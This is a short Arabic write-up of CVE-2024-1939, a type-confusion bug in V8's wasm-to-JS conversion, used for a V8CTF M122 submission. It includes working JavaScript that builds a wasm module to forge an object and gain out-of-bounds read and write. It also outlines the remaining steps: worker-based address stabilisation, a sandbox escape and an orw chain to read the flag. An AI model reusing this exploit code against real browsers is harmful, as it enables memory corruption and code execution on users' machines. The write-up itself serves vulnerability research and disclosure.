
لـ V8CTF M122
هذا شرح مختصر لـ CVE-2024-1939، والذي استخدمته للمطالبة بـ V8CTF M122.
السبب الجذري لهذه المشكلة هو نقص الدعم لـ kWasmS128 في تحويل wasm إلى js. على وجه التحديد، يتم تجاهل عمليات wasmS128Const التي تحدث في مكدسات المعاملات، مما يؤدي إلى ارتباك النوع (type confusion) عند وجود ExprRef في المعاملات.
بالتفصيل، سيؤدي هذا إلى تحويل int/float مباشرة إلى كائن. لذلك من السهل بناء مصفوفة وهمية بطول تعسفي مما يمنحنا القدرة على القراءة والكتابة خارج الحدود (oob). لا يزال هناك عقبة واحدة لتجاوزها: ستحل wasmS128Const محل المعاملات من نوع float المخزنة في FPSlot ولن تؤثر على المعاملات الموسومة (tagged params) المخزنة في GPSlot. توجد طرق في StackSlot. سجلات FP/GP لها حدود حجم. بعد ذلك سيتم تخزين المعاملات في StackSlot بالترتيب. إذا ملأنا السجلات ووضعنا رقم عائم على StackSlot، فسيتم تحليل المعامل الموسوم من StackSlot وسيعطينا الكائن المزيف.
لن يتضمن الإكسبلويت النهائي باني وحدة wasm هذه من أجل البساطة والسرعة، لذا سأرفقه هنا.
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
يتم استخدام عامل (worker) لتثبيت الذاكرة، حيث لوحظ أن العناوين تظل مستقرة نسبيًا في خيوط العامل.
لتجاوز الصندوق الرملي (sandbox bypasses)، انظر إلى V8-Sandbox-Escape-via-Regexp. يستخدم الإكسبلويت النهائي سلاسل orw عادية لكتابة العلم (flag) عبر stderr.